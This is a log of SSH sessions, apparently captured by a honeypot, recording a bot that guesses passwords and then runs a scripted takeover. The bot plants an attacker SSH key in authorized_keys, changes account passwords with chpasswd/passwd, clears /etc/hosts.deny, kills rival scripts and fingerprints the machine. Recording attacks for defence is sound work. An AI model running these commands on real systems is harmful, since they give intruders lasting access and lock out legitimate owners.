{"id":"5c5877b0-9da7-4d45-97ba-2a6981f8117e","name":"diligent-ivory-owl","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40701,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:20:30.024042+00:00","ended_at":"2026-08-26T14:20:31.672634+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-26T14:20:02.650628+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:20:03.402902+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:20:10.360187+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:20:11.143621+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:20:11.896858+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MWX7NBc5En98\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:20:12.652616+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:20:13.402558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:20:13.813545+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:20:14.568534+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:20:15.632117+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:20:16.386737+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:20:17.396222+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:20:18.151476+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:20:18.548243+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:20:19.302060+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:20:20.006777+00:00","kind":"output","latency_ms":null,"data":" 14:20:20 up 6 days, 11:10,  0 user,  load average: 0.17, 0.17, 0.17\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:20:20.762041+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:20:21.554418+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:20:22.308937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:20:22.637801+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:20:23.393333+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:20:23.754139+00:00","kind":"output","latency_ms":null,"data":"top - 14:20:23 up 6 days, 11:10,  0 user,  load average: 0.17, 0.17, 0.17\nTasks: 123 total,   1 running, 122 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6514 free,    9373 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:20:24.506676+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:20:24.764482+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:20:25.517030+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:20:25.776683+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:20:26.530613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:20:27.271278+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:20:28.036431+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:20:29.273998+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:20:30.024924+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:20:31.434123+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Admin@5000","method":"password","accepted":true,"tier":"other"}]}
{"id":"716ba735-0f00-4308-a492-1b565ffcbc2f","name":"early-breezy-llama","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40703,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:20:08.526356+00:00","ended_at":"2026-08-26T14:20:10.120187+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"6b74f942-f3e2-4576-8371-6e45cbb4e5e6","name":"indigo-inland-nuthatch","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40702,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:20:05.131072+00:00","ended_at":"2026-08-26T14:20:07.037647+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"d2cb77e3-5717-4532-97d7-953fcf646c32","name":"cosmic-frank-finch","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40698,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:17:49.196284+00:00","ended_at":"2026-08-26T14:17:50.752858+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T14:17:21.788113+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:17:22.532792+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:17:29.056261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:17:29.921731+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:17:30.667579+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5BYPxozfF4Ou\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:17:31.415067+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:17:32.161822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:17:32.470169+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:17:33.221928+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:17:34.319433+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:17:35.070354+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:17:36.070019+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:17:36.816931+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:17:37.424846+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:17:38.172547+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:17:38.563706+00:00","kind":"output","latency_ms":null,"data":" 14:17:38 up 6 days, 11:07,  0 user,  load average: 0.28, 0.35, 0.19\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:17:39.309879+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:17:39.745214+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:17:40.490275+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:17:40.788299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:17:41.536593+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:17:42.260320+00:00","kind":"output","latency_ms":null,"data":"top - 14:17:42 up 6 days, 11:07,  0 user,  load average: 0.28, 0.35, 0.19\nTasks: 116 total,   1 running, 115 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9691 free,    6196 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:17:43.005630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:17:43.903765+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:17:44.648736+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:17:44.990507+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:17:45.737247+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:17:46.603340+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:17:47.349670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:17:48.448875+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:17:49.197122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:17:50.516683+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root@0101","method":"password","accepted":true,"tier":"other"}]}
{"id":"d18fc748-7ad6-43f2-bfa4-c3eff8b0d88d","name":"lively-civil-tamarin","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40700,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:17:27.137787+00:00","ended_at":"2026-08-26T14:17:28.822011+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"292c2b7d-6c95-4397-b566-6e54c5088809","name":"foggy-stormy-redstart","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40699,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:17:24.252486+00:00","ended_at":"2026-08-26T14:17:25.642542+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"fc9f9b7a-73ed-4e25-b154-07bbf020566e","name":"peaty-clever-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40695,"username":"logviewer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:14:58.829455+00:00","ended_at":"2026-08-26T14:15:00.108082+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2190,"events":[{"seq":1,"at":"2026-08-26T14:14:29.817746+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:14:30.564100+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:14:37.725702+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:14:38.617053+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:14:39.363952+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n4k2utQwB7AUl\\n4k2utQwB7AUl\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:14:40.109415+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n4k2utQwB7AUl\\n4k2utQwB7AUl\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:14:40.854879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:14:41.441297+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:14:42.189367+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:14:43.450250+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:14:44.207287+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:14:45.499345+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:14:46.247914+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:14:46.654108+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:14:47.400851+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:14:48.171046+00:00","kind":"output","latency_ms":null,"data":" 14:14:48 up 6 days, 11:04,  0 user,  load average: 0.04, 0.05, 0.04\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:14:48.916995+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:14:49.195396+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:14:49.941693+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:14:50.431891+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:14:51.178262+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:14:51.745606+00:00","kind":"output","latency_ms":null,"data":"top - 14:14:51 up 6 days, 11:04,  0 user,  load average: 0.04, 0.05, 0.04\nTasks: 122 total,   1 running, 121 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7785 free,    8102 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:14:52.492530+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:14:53.286850+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:14:54.032255+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:14:54.830489+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:14:55.575574+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:14:56.428790+00:00","kind":"output","latency_ms":null,"data":"logviewer"},{"seq":29,"at":"2026-08-26T14:14:57.175094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:14:58.083331+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:14:58.830235+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:14:59.869350+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"logviewer","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"c475007e-4278-4e9d-bcfc-4f9b4181d5f5","name":"cunning-rambling-nuthatch","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40697,"username":"logviewer","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:14:35.367719+00:00","ended_at":"2026-08-26T14:14:37.485810+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"logviewer","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"947882fe-1872-4d0a-98fc-1b04bc4d1d04","name":"coral-autumn-godwit","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40696,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:14:32.302286+00:00","ended_at":"2026-08-26T14:14:33.867175+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"dc54fef6-c1b6-4735-84c1-9064ac437ba5","name":"jaunty-opal-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40692,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":750,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:12:15.613953+00:00","ended_at":"2026-08-26T14:12:17.079002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2180,"events":[{"seq":1,"at":"2026-08-26T14:11:48.165459+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:11:48.913504+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:11:54.805638+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:11:55.240110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:11:55.989462+00:00","kind":"input","latency_ms":null,"data":"echo -e \"asdfasdf\\n6sQx1mhzQaH5\\n6sQx1mhzQaH5\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:11:56.738329+00:00","kind":"input","latency_ms":null,"data":"echo \"asdfasdf\\n6sQx1mhzQaH5\\n6sQx1mhzQaH5\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:11:57.486331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:11:57.840558+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:11:58.591825+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:11:59.647541+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:12:00.400265+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:12:01.454298+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:12:02.205397+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:12:02.748204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:12:03.497795+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:12:03.849409+00:00","kind":"output","latency_ms":null,"data":" 14:12:03 up 6 days, 11:02,  0 user,  load average: 0.07, 0.06, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:12:04.600210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:12:05.352892+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:12:06.103758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:12:06.757204+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:12:07.512214+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:12:08.406873+00:00","kind":"output","latency_ms":null,"data":"top - 14:12:08 up 6 days, 11:02,  0 user,  load average: 0.07, 0.06, 0.05\nTasks: 104 total,   1 running, 103 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7626 free,    8261 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:12:09.161886+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:12:09.836007+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:12:10.586306+00:00","kind":"input","latency_ms":null,"data":"uname 